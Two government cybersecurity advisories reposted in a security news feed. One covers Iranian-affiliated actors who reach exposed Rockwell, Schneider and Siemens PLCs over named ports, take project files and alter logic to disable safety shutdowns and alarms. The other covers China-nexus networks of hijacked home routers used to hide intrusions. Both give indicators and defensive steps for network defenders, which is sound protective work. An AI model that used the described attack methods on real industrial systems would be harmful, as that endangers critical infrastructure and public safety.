]]> <![CDATA[Iranian-Affiliated Cyber Actors Exploit Programmable Logic Controllers Across US Critical Infrastructure]]> https://tsecurity.de/de/3693379/sicherheitsluecken/iranian-affiliated-cyber-actors-exploit-programmable-logic-controllers-across-us-critical-infrastructure/ https://tsecurity.de/de/3693379/sicherheitsluecken/iranian-affiliated-cyber-actors-exploit-programmable-logic-controllers-across-us-critical-infrastructure/ Sat, 25 Jul 2026 09:12:34 +0200 đŸ•”ïž SicherheitslĂŒcken tsecurity.de Advisory at a Glance
Title Iranian-Affiliated Cyber Actors Exploit Programmable Logic Controllers Across US Critical Infrastructure
Original Publication April 7, 2026
Last Update  July 22, 2026
Executive Summary The authoring agencies urgently warn U.S. organizations of ongoing Iranian-affiliated cyber targeting of internet-connected operational technology (OT) devices, including programmable logic controllers (PLCs). These actions disrupted PLCs across several U.S. critical infrastructure sectors through malicious project file interactions and manipulation of data on human machine interface (HMI) and supervisory control and data acquisition (SCADA) displays, resulting in operational disruption and financial loss.
Last Update Description This update adds new guidance on detecting malicious changes in reusable code modules exploited within Rockwell Automation PLC programs. It also expands scope to include observed targeting of Schneider Electric, Siemens, and potentially other branded/manufactured PLCs, emphasizing the importance of restricting direct internet access and providing best practices for secure deployment.
Affected Products Potentially all internet exposed PLCs, including Rockwell Automation/Allen-Bradley, Schneider Electric, Siemens, and other branded/manufactured PLCs.
Key Actions
  • Install PLCs consistent with manufacturers' guidelines and security best practices.
  • Remove PLCs from direct internet exposure via secure gateway and firewall; work with IT/OT team members and/or integrators to perform this action.
  • Query available logs for the provided indicators of compromise (IOCs) and check available logs for suspicious traffic on the ports associated with OT devices, including 44818, 2222, 102, and 502, especially traffic originating from foreign hosting providers.
  • For Rockwell Automation devices, place the physical mode switch on the controller into run position. If you suspect your organization was targeted, including against other branded PLC devices, contact the authoring agencies and PLC manufacturer for guidance.
Indicators of Compromise

For a downloadable copy of July 22, 2026 IOCs, see:

For a downloadable copy of historical April 7, 2026 IOCs, see:
Intended Audience

Organizations: Critical Infrastructure

Sectors: Government Services and Facilities, Water and Wastewater Systems (WWS), and Energy 

Roles: Integrators, asset owners, defensive cybersecurity analysts, OT cybersecurity engineers, cybersecurity architects, secure systems developer

Introduction

Note: This advisory was originally published on April 7, 2026, to provide tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) related to ongoing cyber exploitation of internet-connected operational technology (OT) devices by Iranian-affiliated advanced persistent threat (APT) actors. The authoring agencies updated this advisory on July 22, 2026, to add new guidance on detecting malicious changes in reusable code modules leveraged within Rockwell Automation PLC programs. It also expands the manufacturer scope to include observed targeting of Schneider Electric, Siemens, and potentially other branded/manufactured PLCs, emphasizing the importance of restricting direct internet access and providing best practice resources for secure deployment.

The Federal Bureau of Investigation (FBI), Cybersecurity and Infrastructure Security Agency (CISA), National Security Agency (NSA), Environmental Protection Agency (EPA), Department of Energy (DOE), United States Cyber Command – Cyber National Mission Force (CNMF), and Department of the Treasury (Treasury) (hereafter referred to as the “authoring agencies”) are urgently warning U.S. organizations of ongoing cyber exploitation of internet-connected OT devices—including PLCs manufactured by Rockwell Automation/Allen-Bradley, Schneider Electric, Siemens, and potentially other manufactured PLCs—across multiple U.S. critical infrastructure sectors. As a result of this activity, organizations from multiple U.S. critical infrastructure sectors experienced disruptions through malicious interactions with PLC project files1 and the manipulation of data displayed on human machine interface (HMI) and supervisory control and data acquisition (SCADA) displays. In a few cases, this activity caused operational disruption and financial loss.

The authoring agencies assess a group of Iranian-affiliated APT actors is conducting this activity to cause disruptive effects within the United States. The group targeted devices spanning multiple U.S. critical infrastructure sectors, including Government Services and Facilities (to include local municipalities), Water and Wastewater Systems (WWS), and Energy Sectors. The authoring agencies previously reported on similar activity targeting PLCs by CyberAv3ngers (aka Shahid Kaveh Group)—a cyber threat actor affiliated with Iran’s Islamic Revolutionary Guard Corps (IRGC) Cyber Electronic Command (CEC).

Due to the widespread use of these PLCs, and the potential for additional targeting of other branded OT devices across critical infrastructure, the authoring agencies recommend U.S. organizations urgently review the TTPs and IOCs in this advisory for indications of current or historical activity on their networks, and apply the recommendations listed in the Mitigations section of this advisory to reduce the risk of compromise.

If owners and operators discover an affected internet-accessible device in their environment, additional technical measures may be necessary to evaluate the risk of compromise. Please engage your cyber incident response plans and contact the authoring agencies and applicable vendors through existing support channels available to customers and integrators (see Contact Information) to receive support, mitigation, and investigation assistance.

For more information on Iranian malicious cyber activity, see CISA’s Iran Threat Overview and Advisories webpage and the FBI’s Iran Threat and Iran Cyber Threat Overview webpages.

Download the PDF version of this report:

Iranian-Affiliated Cyber Actors Exploit Programmable Logic Controllers Across US Critical Infrastructure (PDF, 1.09 MB )

(New, July 22, 2026) For a downloadable copy of July 22, 2026 IOCs, see:

For a downloadable copy of historical April 7, 2026 IOCs, see:

AA26-097A.stix_.xml (XML, 35.97 KB )
AA26-097A.stix_.json (JSON, 11.87 KB )

Background Information

Similar Historical Activity Targeting Programmable Logic Controllers

During a similar campaign beginning in November 2023, the IRGC CEC-affiliated cyber threat actors known as "CyberAv3ngers” targeted U.S.-based PLCs and HMIs, causing disruptive effects. Private industry and open sources also refer to this group as Hydro Kitten, Storm-0784, APT Iran, Bauxite, Mr. Soul, Soldiers of Solomon, UNC5691, and the Shahid Kaveh Group. These attacks compromised at least 75 devices, targeting U.S.-based Unitronics PLC devices with an HMI used across multiple critical infrastructure sectors, including the WWS. APT actors developed and deployed custom ladder logic code to these devices, replacing the valid ladder logic with malicious code that continues to be observed to date.

For more information on this group’s activity, see the joint Cybersecurity Advisory IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including US Water and Wastewater Systems Facilities.

Ongoing Threat Actor Activity Against U.S.-Based Programmable Logic Controllers

The FBI observed Iranian-affiliated APT actors targeting internet-exposed PLCs with the intent to cause disruptions—including maliciously interacting with project files, and manipulating data displayed on HMI and SCADA displays—to U.S. critical infrastructure organizations. Iranian-affiliated APT targeting campaigns against U.S. critical infrastructure have recently escalated, likely in response to hostilities between Iran, and the United States and Israel.

(New, July 22, 2026) At one U.S. victim, the FBI observed the APT actors download a malicious project file to a targeted PLC using configuration software. Analysis indicated the project file retained ladder logic for downstream function but added logic that overrode specific instruction sets responsible for maintaining safe operating parameters in the victim’s environment.

Since at least March 2026, the authoring agencies identified (through engagements with victim organizations) an Iranian-affiliated APT group disrupted the function of PLCs. Organizations across several U.S. critical infrastructure sectors (including Government Services and Facilities, WWS, and Energy Sectors) deployed these PLCs within a wide variety of industrial automation processes. Some of the victims experienced operational disruption and financial loss.

Technical Details

Note: This advisory uses the MITRE ATT&CK¼ Matrix for Enterprise framework, version 19. See the MITRE ATT&CK Tactics and Techniques section of this advisory for tables of the threat actors’ activity mapped to MITRE ATT&CK tactics and techniques.

Initial Access

(Updated, July 22, 2026) The authoring agencies observed Iranian-affiliated APT actors using several foreign-based IP addresses to access internet-facing PLCs manufactured by Rockwell Automation/Allen-Bradley, Schneider Electric, Siemens, and potentially other manufactured PLCs [T0883]. The actors used leased, third-party hosted infrastructure and manufacturers’ PLC programming software to connect to misconfigured victim PLCs. Inbound malicious traffic has been observed targeting PLC devices on the following ports: 44818, 2222, 102, and 502, as well as targeting modems on port 22. Targeted devices include:

  • Rockwell Automation: CompactLogix and Micro850 PLCs
  • Schneider Electric: BMX P34/Modicon M340 PLCs
  • Siemens: S7-1200 series PLCs

Command and Control

(Updated, July 22, 2026) The targeting of ports [T0885] associated with other OT vendors’ protocols suggests these actors are opportunistically targeting devices manufactured by companies other than Rockwell Automation/Allen-Bradley, including Schneider Electric and Siemens. In one reported instance, the actors utilized Dropbear Secure Shell (SSH) software on victim modems to enable them to gain remote access through port 22 [T1219].

Exfiltration

(New, July 22, 2026) The authoring agencies observed Iranian-affiliated APT actors using configuration software—such as Rockwell Automation’s Studio 5000 Logix Designer, Schneider Electric’s EcoStruxure Control Expert, and Siemens’ Totally Integrated Automation (TIA) Portal—on leased, third-party hosted infrastructure to exfiltrate device project files from PLC devices to threat-actor-controlled infrastructure [T1041].

Impact

(Updated, July 22, 2026) After the actors extracted device project files, the FBI and CISA identified the modification and deletion of project file logic, to include Add-On Instructions (AOIs) and data manipulation on HMI and SCADA displays [T1565]. Additionally, the changes disabled critical shutdown and alarm logic, allowing systems to enter unsafe conditions without notifying operators of the anomalies.

Note: An AOI is analogous to a “Function Block” or “User Defined Function Block” used in other PLC vendor programs.

Indicators of Compromise

See Table 1 and Table 2 for recent IP addresses used by the Iranian-affiliated APT actors to communicate with PLCs manufactured by Rockwell Automation/Allen-Bradley, Schneider Electric, and Siemens in the United States.

Disclaimer: The FBI observed the threat actors using the IP addresses listed below in the specified time frames. This data is being provided for customers to query against logs for indications of historical targeting by the Iranian-affiliated APT actors. The authoring agencies recommend organizations investigate or vet these IP addresses prior to taking action, such as blocking.

Table 1. Indicators of Compromise (New, July 22, 2026)
Indicator Beginning of Actor Association End of Actor Association
185.82.73[.]175 September 2025 February 2026
141.11.164[.]153 January 2026 June 2026
175.110.121[.]42 February 2026 March 2026
175.110.121[.]39 February 2026 March 2026
175.110.121[.]41 February 2026 March 2026
175.110.121[.]107 February 2026 February 2026
192.142.54[.]79 May 2026 June 2026
84.200.205[.]165 May 2026 June 2026
185.225.17[.]225 June 2026 July 2026
79.133.46[.]209 July 2026 July 2026
88.80.150[.]199 July 2026 July 2026
88.80.150[.]200 July 2026 July 2026
88.80.150[.]202 July 2026 July 2026
Table 2. Indicators of Compromise 
Indicator Beginning of Actor Association End of Actor Association
185.82.73[.]162 January 2025 March 2026
185.82.73[.]164 January 2025 March 2026
185.82.73[.]165 January 2025 March 2026
185.82.73[.]167 January 2025 March 2026
185.82.73[.]168 January 2025 March 2026
185.82.73[.]170 January 2025 March 2026
185.82.73[.]171 January 2025 March 2026
135.136.1[.]133 March 2026 March 2026

MITRE ATT&CK Tactics and Techniques

See Table 3 to Table 6 for all referenced threat actor tactics and techniques in this advisory. The authoring agencies recommend organizations review historical TTPs for similar Iranian-affiliated cyber actor activity in IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including US Water and Wastewater Systems Facilities. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.

Table 3. Initial Access
Technique Title ID Use
Internet Accessible Device T0883 The actors accessed and interacted with publicly exposed, internet-accessible PLCs that lacked sufficient network and/or hardening security controls.

 

Table 4. Command and Control
Technique Title ID Use
Commonly Used Port T0885 The actors leveraged commonly used OT ports to communicate with PLCs.
Remote Access Tools  T1219 The actors deployed Dropbear SSH software on victim modems to enable them to gain remote access through port 22.
Table 5. Exfiltration (New, July 22, 2026)
Technique Title ID Use
Exfiltration Over C2 Channel T1041 The actors used remote, third-party hosted infrastructure as a C2 channel to transfer device project files out of victim environments.
Table 6. Impact
Technique Title ID Use
Data Manipulation T1565 The actors maliciously interacted with project files, including modifying and deleting project file logic, and altered data displayed on HMI and SCADA displays.

Mitigations

The authoring agencies recommend organizations implement the mitigations below to improve your organization’s cybersecurity posture on the basis of the threat actors’ activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats and TTPs. Visit CISA’s CPGs webpage for more information on the CPGs, including additional recommended baseline protections.

Network Defenders

The cyber threat actors accessed PLCs manufactured by Rockwell Automation/Allen-Bradley, Schneider Electric, Siemens, and potentially other branded/manufactured PLCs to cause disruptions to victim systems. To safeguard against this threat and threats to other types of PLCs, the authoring agencies urge organizations to consider the following mitigations.

(Updated, July 22, 2026) In addition to contacting the authoring agencies, organizations and integrators operating PLCs from the manufacturers mentioned in this advisory should review the previously issued guidance to strengthen the security of their OT deployments:

  • Rockwell Automation: Contact the Rockwell Automation Product Security Incident Response Team (PSIRT) at PSIRT@rockwellautomation.com for questions regarding this guidance, or to report cyber incidents related to Rockwell Automation products.
    • Refer to Rockwell Automation Security Advisory SD1771 for recommended PLC hardening measures and configuration guidance.
  • Schneider Electric: Contact the Schneider Electric Corporate Product Cyber Emergency Response Team (CPCERT) at cpcert@se.com for questions regarding this guidance, or to report cyber incidents related to Schneider Electric products.
  • Siemens: Contact Siemens ProductCERT at productcert@siemens.com for questions regarding this guidance, or to report cyber incidents and vulnerabilities related to Siemens products.

Immediate steps to prevent the attack:

  • Disconnect the PLC from the public-facing internet [CPG 3.S]. Follow the joint guidance Secure connectivity principles for OT to safely allow remote access. Specifically, “remove inbound port exposure,” so the OT system is never directly exposed to the internet or external networks, and to ensure all access is mediated, monitored, and controlled. Do this through a secure gateway (jump host) that brokers the connection.
    • Ensure cellular modems, used for remote field connectivity and access, are secured with strong authentication and updated.
    • Enable logs for connected modems and regularly review for suspicious activity to detect intrusions and improve incident response speed.
    • (New, July 22, 2026) To mitigate unauthorized access to OT via cellular modems, organizations should consider implementing isolated architectures, such as private Access Point Name (APN), 5G Public Network Integrated Non-Public Network (PNI-NPN), cellular Software-Defined Wide Area Network (SD-WAN), Zero Trust Network Access (ZTNA), or a site-to-site virtual private network (VPN).
  • (New, July 22, 2026) Strictly control network access to PLC devices.
    • Configure firewall rules or access control list (ACL) security features on PLCs or programmable controllers to allow only authorized communications between expected control system devices. Block access from unauthorized or threat actor-controlled IP addresses, such as those associated with hosting providers.
  • For controllers with a physical mode switch, place the physical mode switch into run position to prevent remote modification. Devices should only be in the program or remote position when updating or downloading software online and immediately switched back to the run position when complete. (See Rockwell Automation’s2 System Security Design Guidelines for manufacturer’s instructions.)
    • (New, July 22, 2026) Prior to switching the device to run mode, review and validate project files, as changing modes will lock in the current project file downloaded to the device.
  • For devices that allow software key switching, enable programming protection in PLC configuration software (S7 TIA Portal) to limit who can modify PLCs remotely. (See Siemens’ Cybersecurity for Industry Operational Guidelines for the manufacturer’s instructions.)

Follow-up steps to strengthen security posture:

  • (New, July 22, 2026) Review project files running on PLCs for unauthorized changes. Use vendor-provided integrity checking tools and visually compare the running program to known good logic. Ensure reusable logic and input/output configurations are valid. For Rockwell Automation PLCs listed in the Customer Guidance to Disconnect Devices from the Internet, check the AOIs for any anomalous modifications.
    • If restoring from backups, verify the backup does not contain malicious logic before deployment.
    • Review logs and configurations on all connected devices, including modems, HMIs, and workstations, to assess potential lateral movement by threat actors. If it appears the actors connected to additional devices, reimage these devices to remove any potential malicious changes or access tools.
  • (New, July 22, 2026) Ensure device passwords are changed from their default and are configured to use complex, unique combinations of letters, numbers, and symbols that are not easily guessable. Implementing robust password practices remains a critical security measure that can help prevent unauthorized access and strengthen the overall security posture of OT devices.
  • (New, July 22, 2026) Take defensive measures to minimize the risk of exploitation. Conduct comprehensive impact analysis and risk assessments prior to deploying defensive measures.
  • Create and test strong backups of the logic and configurations of PLCs. Store backup files offline and secure the physical removal media to enable fast recovery.
  • Implement multifactor authentication (MFA) [CPG 3.F] for access to the OT network from an external network.
  • If remote access is required, implement a network proxy, gateway, firewall, and/or VPN in front of the PLC to control network access.
    • A VPN or gateway device can enable MFA for remote access even if the PLC does not support MFA. Implement security rules on these higher-level network security mechanisms to prevent the type of repeated and sustained login attempts seen during a brute force attack. When possible, implement a device control list for workstations sending messages or connecting to OT components.
    • Use the device control list to monitor for logon activity for unexpected or unusual access to devices from the internet.
  • Keep PLC devices updated with the latest software patches issued by the manufacturer. Use established downtime windows to install patches. Known Exploited Vulnerabilities may need to be prioritized outside a downtime window.
  • Configure external and internal firewalls to block traffic using common ports associated with network protocols that are unnecessary for the particular network segment.
  • Disable any unused authentication methods, logic, or features, such as default authentication keys and passwords, as well as unused or needed services such as Teletype Network (Telnet), File Transfer Protocol (FTP), Remote Desktop Protocol (RDP), Virtual Network Computing (VNC), and web services.
  • Monitor asset management systems for device configuration changes, which can be used to understand expected parameter settings.
  • Monitor the content of network traffic for the following:
    • Unusual logins to internet-connected devices or unexpected protocols to/from the internet. 
    • Functions of industrial control systems management protocols that change an asset’s operating mode or modify programs.
  • (New, July 22, 2026) Ensure service providers are informed of active threats targeting internet-connected PLC devices. Owners and operators should communicate directly with service providers to address risks, especially when remote monitoring or maintenance is involved. Some service providers may rely on internet connectivity essential to monitor and maintain OT/ICS operations but may not be fully aware of active threats.

In addition, the authoring agencies recommend network defenders apply the following mitigations to limit potential adversarial use of common system and network discovery techniques, as well as reduce the impact and risk of compromise by cyber threat actors:

  • Reduce risk exposure. CISA offers a range of services at no cost, including scanning and testing, to help organizations reduce exposure to threats via mitigating attack vectors. CISA’s Cyber Hygiene Services can help provide additional review of organizations’ internet-accessible assets. 

Device Manufacturers

Note: The following guidance is general in nature and not specific to any OT vendor. Some of the features, settings, and practices may already be offered by certain vendors. The inclusion of this guidance should not be interpreted as an assertion that vendors referenced do not offer such security features. Also, this advisory is not highlighting a new vulnerability in the identified products, but instead discusses opportunistic targeting. Device manufacturers can make opportunistic attacks more difficult at scale by encouraging more secure behavior by default and in operations, as discussed below. 

Although critical infrastructure organizations using PLC devices can take steps to mitigate the risks, it is ultimately the responsibility of the device manufacturer to build products secured by design and default. The authoring agencies urge device manufacturers to take ownership of their customers’ security outcomes by following the principles in the joint guide Secure by Demand: Priority Considerations for OT Owners and Operators when Selecting Digital Products, primarily:

  • Change the manufacturers’ default settings to prevent exposing administrative interfaces to the internet.
  • Do not charge additional fees for basic security features needed to operate the product securely.
  • Support MFA, including via phishing-resistant methods.

By using secure by design tactics, software manufacturers can make product lines secure “out of the box” without requiring customers to spend additional resources making configuration changes, purchasing tiered security software and logs, monitoring, and making routine updates.

For more information on common misconfigurations and guidance on reducing their prevalence, see joint advisory NSA and CISA Red and Blue Teams Share Top Ten Cybersecurity Misconfigurations. For more information on secure by design, see CISA’s Secure by Design webpage and joint guide.

Validate Security Controls

In addition to applying mitigations, the authoring agencies recommend exercising, testing, and validating your organization's security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. The authoring agencies recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.

To get started:

  1. Select an ATT&CK technique described in this advisory (see Table 3 to Table 6).
  2. Align your security technologies against the technique.
  3. Test your technologies against the technique.
  4. Analyze your detection and prevention technologies’ performance.
  5. Repeat the process for all security technologies to obtain a set of comprehensive performance data.
  6. Tune your security program, including people, processes, and technologies, based on the data generated by this process.

The authoring agencies recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the ATT&CK techniques identified in this advisory.

Resources

Contact Information

U.S. organizations are encouraged to report suspicious or criminal activity related to information in this advisory to CISA, the FBI, and/or NSA:

  • Contact CISA via CISA’s 24/7 Operations Center at contact@cisa.dhs.gov or 1-844-Say-CISA (1-844-729-2472). File a claim with FBI’s Internet Crime Complaint Center (IC3) or contact your local FBI field office. When available, please include the following information regarding the incident: 
    • Date, time, and location of the incident;
    • Type of activity;
    • Number of people affected;
    • Type of equipment used for the activity; and
    • Name of the submitting company or organization, and a designated point of contact.
  • For NSA cybersecurity guidance inquiries, contact CybersecurityReports@nsa.gov.
  • Entities required to report incidents to DOE should follow established reporting requirements, as appropriate. For other energy sector inquiries, contact EnergySRMA@hq.doe.gov.
  • Contact the Rockwell Automation PSIRT for questions regarding their guidance or for reporting cyber incidents related to Rockwell Automation products at PSIRT@rockwellautomation.com.
  • Contact the Schneider Electric CPCERT at cpcert@se.com for questions regarding this guidance, or to report cyber incidents related to Schneider Electric products.
  • Contact Siemens ProductCERT for up-to-date information about the security of Siemens products or to report cybersecurity vulnerabilities at productcert@siemens.com. For support with increasing the security of installed Siemens PLCs, contact Siemens Industrial Cybersecurity Services at services.automation@siemens.com. See Siemens ProductCERT and Siemens CERT for more information.

Disclaimer

The information in this report is being provided “as is” for informational purposes only. CISA and the authoring agencies do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by CISA and the authoring agencies.

Version History

April 7, 2026: Initial version.

July 22, 2026: Update includes new guidance on detecting malicious activity, expanded scope of observed targeting, and best practices for secure PLCs deployment.

Notes

1Project file refers to the software file that contains ladder logic and configuration settings. On Rockwell Automation devices, it is referred to as an .ACD file.

2 See CompactLogix 5370 Controllers (Chapter 5: “Select the Operating Mode of the Controller”) for more information on functions available for the switch.

]]> <![CDATA[Defending Against China-Nexus Covert Networks of Compromised Devices]]> https://tsecurity.de/de/3693378/sicherheitsluecken/defending-against-china-nexus-covert-networks-of-compromised-devices/ https://tsecurity.de/de/3693378/sicherheitsluecken/defending-against-china-nexus-covert-networks-of-compromised-devices/ Sat, 25 Jul 2026 09:10:14 +0200 đŸ•”ïž SicherheitslĂŒcken tsecurity.de

Defending against china-nexus covert networks of compromised devices

executive summary

Defending against China-nexus covert networks of compromised devices 

Explaining the widespread shift in tactics, techniques and procedures (TTPs) towards networks of compromised infrastructure, and how to defend against it 

Summary

With support from the UK Cyber League, this advisory has been jointly released by the National Cyber Security Centre (NCSC-UK) and international partners: 

  • Australian Signals Directorate’s (ASD’s) Australian Cyber Security Centre (ACSC)
  • Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)
  • Germany Federal Office for the Protection of the Constitution -   Bundesamt fĂŒr Verfassungsschutz (BfV)
  • Germany Federal Intelligence Service – Bundesnachrichtendienst (BND)
  • Germany Federal Office for Information Security - Bundesamt fĂŒr Sicherheit in der Informationstechnik (BSI)
  • Japan National Cybersecurity Office (NCO) - ć›œćź¶ă‚”ă‚€ăƒăƒŒç”±æ‹Źćź€
  • Netherlands General Intelligence and Security Service - Algemene Inlichtingen- en Veiligheidsdienst (AIVD)
  • Netherlands Defence Intelligence and Security Service - Militaire Inlichtingen- en Veiligheidsdienst (MIVD)
  • New Zealand National Cyber Security Centre (NCSC-NZ)
  • Spain National Cryptologic Centre – Centro CriptolĂłgico Nacional (CCN)
  • Sweden National Cyber Security Centre - Nationellt cybersĂ€kerhetscenter (NCSC-SE)
  • United States Cybersecurity and Infrastructure Security Agency (CISA)
  • United States Department of Defense Cyber Crime Center (DC3)
  • United States Federal Bureau of Investigation (FBI)
  • United States National Security Agency (NSA) 

Its purpose is to provide network defenders with the tools needed to defend against China-nexus cyber actors and their tactic of using large scale networks of compromised devices (covert networks) to route their cyber activity. 

Introduction  

Over the past few years there has been a major shift in the tactics, techniques and procedures (TTPs) used by China-nexus cyber actors, moving away from the use of individually procured infrastructure, and towards the use of externally provisioned, large-scale networks of compromised devices. 

The NCSC believes that the majority of China-nexus threat actors are using these networks (hereafter “covert networks”), that multiple covert networks have been created and are being constantly updated, and that a single covert network could be being used by multiple actors. These networks are mainly made up of compromised Small Office Home Office (SOHO) routers, as well as Internet of Things (IoT) and smart devices. 

Anyone who is a target of China-nexus cyber actors may be impacted by the use of covert networks. They have been used by Chinese state-sponsored actors Volt Typhoon to pre-position offensive cyber capabilities on critical national infrastructure. The group Flax Typhoon used a different covert network of compromised infrastructure to conduct cyber espionage. 

The use of covert networks of compromised devices - also known as botnets - to facilitate malicious cyber activity is not new, but China-nexus cyber actors are now using them strategically, and at scale.  

This advisory describes the typical makeup of a covert network and what they are being used for. It also includes protective advice for organizations being targeted by cyber activity using a covert network as an access vector.

Covert Networks 

Covert networks are used to connect across the internet in a low-cost, low-risk, deniable way, disguising the origin and attribution of malicious activity. Actors have been observed using them for each phase of their Cyber Kill Chains, from performing scans as part of reconnaissance, to the delivery of malware, communicating with said malware, and exfiltrating stolen data from a victim. They can also be used for general deniable internet browsing, allowing threat actors to research exploitation techniques, new TTPs, and their victims without attribution. Some covert networks are also used by legitimate customers to browse the internet, making it challenging to attribute malicious activity. 

There is evidence that covert networks used by China-nexus actors are created and maintained by Chinese information security companies. A network known to network defenders as Raptor Train, which in 2024 infected more than 200,000 devices worldwide, was controlled and managed by the Chinese company, Integrity Technology Group. This company was also assessed by the FBI to be responsible for the computer intrusion activities attributed to China-based hackers known as Flax Typhoon. 

Botnet operations represent a significant threat to the UK by exploiting vulnerabilities in everyday internet-connected devices with the potential to carry out large-scale cyber attacks – NCSC Director of Operations, Paul Chichester 

Covert networks mostly consist of compromised SOHO routers, but they also pull in any vulnerable device they can exploit at scale. Raptor Train was made up of thousands of SOHO routers and IoT devices, such as web cameras and video recorders, as well as firewalls and Network Attached Storage (NAS) devices. The KV Botnet used by Volt Typhoon was mainly made up of vulnerable Cisco and NetGear routers. The edge devices were vulnerable because they were “end of life” – out of date and no longer receiving updates or security patches by their manufacturers. 

The cyber security industry has been aware of examples of these networks for some time and has publicly reported on the widespread scale of the threat and its implications. Mandiant Intelligence produced a public blog in May 2024 talking about covert networks in which they highlighted a key issue for defenders – indicator of compromise (IOC) Extinction. If a particular threat group could now come from one of many covert networks, each with potentially hundreds of thousands of endpoints, and each used by multiple threat actors, old network defense paradigms of static malicious IP block lists will be less effective. This is compounded by the dynamic nature of these networks where new nodes will be added as old devices are patched or removed from use. 

Typical Network Topology

The number of covert networks used by China-nexus cyber actors is large, with new networks regularly developed and deployed. The existing covert networks change too, either because of defensive or legal action, or simply as a result of software updates and new exploits being used to target different technologies for incorporation into the network. 

Because of this, a description of all known covert networks in detail, including how they are constructed and how they communicate, would immediately be out of date – and for most network defenders would not be practically useful. 

However, most covert networks of compromised devices use the same basic set up. Understanding this generalized structure can aid researchers and defenders by helping them to understand which part of a network they may have found, and how to defend against it. 

A diagram illustrating the basic setup of a covert network.
A diagram illustrating the basic setup of a covert network.

The diagram above illustrates the basic setup of a covert network, where typically an actor will connect to the network via an on-ramp or entry node. Their traffic will be forwarded through multiple compromised devices, used as traversal nodes, before exiting the network from an exit node, usually in the same geographic region as the target. 

Protective Advice 

Defending from attackers using covert networks is not straightforward, and defensive tactics will be different based on the levels of resource and the nature of the target organization. General advice for good cyber security practice should be followed, and some key messages can be found in the appendix of this advisory.  

The following advice is specifically tailored to steps which can be taken to combat the risk of attacks coming from large, dynamic networks of compromised devices. 

Further guidance for all organizations facing cyber security threats is available on the NCSC website. 

This guidance should be considered alongside all applicable laws and regulations of the UK and co-sealing countries relating to the security of networks and data. It will be each organization’s responsibility to ensure compliance with any such laws and regulations. Organizations should note that following the recommended actions set out below will not remove all risks.

All organizations

The NCSC recommends the following steps for all affected organizations to either take themselves, or ask their managed service and/or security providers to investigate for them: 

  • Map and understand network edge devices, developing a clear understanding of organizational assets and what should be connecting to them.
  • Baseline normal connections, especially to corporate virtual private networks (VPNs) or other similar services.
    • Would you expect connections from consumer broadband ranges?
  • Leverage available dynamic threat feeds which include covert network infrastructure.
  • Implement multifactor authentication for remote connections.

Smaller organizations should consider creating and actioning a free NCSC Cyber Action Toolkit. 

Larger or more at-risk organizations

Some more comprehensive measures may be appropriate if the risk to an organization is high enough, to be conducted either in-house or through a security provider:  

  • Apply IP address allow lists rather than deny lists for connections to corporate VPNs for remote workers.
  • Use geographic allow lists or profile incoming connections based on operating system, time zones, and/or organization specific system configuration settings.
  • Implement zero trust policies for connections.
  • Enforce machine certificates for Secure Sockets Layer (SSL) connections.
  • Reduce the internet-facing presence of the IT estate.
  • Investigate machine learning techniques to profile normal network edge activity to detect and block anomalies. 

The NCSC's Cyber Essentials can help protect organizations of all sizes. 

Largest or most at-risk organizations 

If Advanced Persistent Threat (APT) tracking is part of an organization’s in-house capability, or if it is part of the service provided by a security vendor, consider tracking China-nexus covert networks as APTs in their own right.

  • Active hunting – look for connections from IP addresses likely to be part of a covert network of compromised devices, for instance those hosting SOHO routers or IoT devices.
  • Track and map covert networks reported by industry or government by looking at banners and certificates.
  • Use threat reporting and threat feeds to create and implement dynamic blocklists and create alert rules to detect incoming threats.
  • Consider using NetFlow feeds to look upstream and map covert networks to find new nodes. 

The NCSC Cyber Assessment Framework provides guidance for organizations under the highest levels of threat, including those operating essential services, in sectors such as energy, healthcare, transport, digital infrastructure and government.  

MITRE ATT&CKŸ 

This advisory has been compiled with respect to the MITRE ATT&CKŸ framework, a globally accessible knowledge base of adversary tactics and techniques based on real-world observations. 

Tactic 

ID 

Technique 

Procedure 

Resource Development 

T1584.005 

Compromise Infrastructure: Botnet 

Botnets are used as core components of covert networks 

Resource Development 

T1584.008 

Compromise Infrastructure: Network Devices 

Devices are compromised and added to botnets 

Resource Development 

T1583.003 

Acquire Infrastructure: Virtual Private Server 

Virtual private servers (VPS) are used in covert networks, typically as on-ramps 

Command and Control 

T1090.003 

Proxy: Multi-hop Proxy 

Used by China-nexus cyber actors to route traffic 

 Appendix: Cyber Security Best Practices 

In addition to the protective advice outlined in this advisory, a number of cyber security best practices will also be useful in defending against the activity described in this advisory. 

Disclaimer  

This report draws on information derived from NCSC and industry sources. Any NCSC findings and recommendations made have not been provided with the intention of avoiding all risks and following the recommendations will not remove all such risk. Ownership of information risks remains with the relevant system owner at all times. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by co-sealers. UK readers should refer to the NCSC website for information about NCSC assured services. 

This information is exempt under the Freedom of Information Act 2000 (FOIA) and may be exempt under other UK information legislation.  

Refer any FOIA queries to ncscinfoleg@ncsc.gov.uk.  

All material is UK Crown Copyright © 

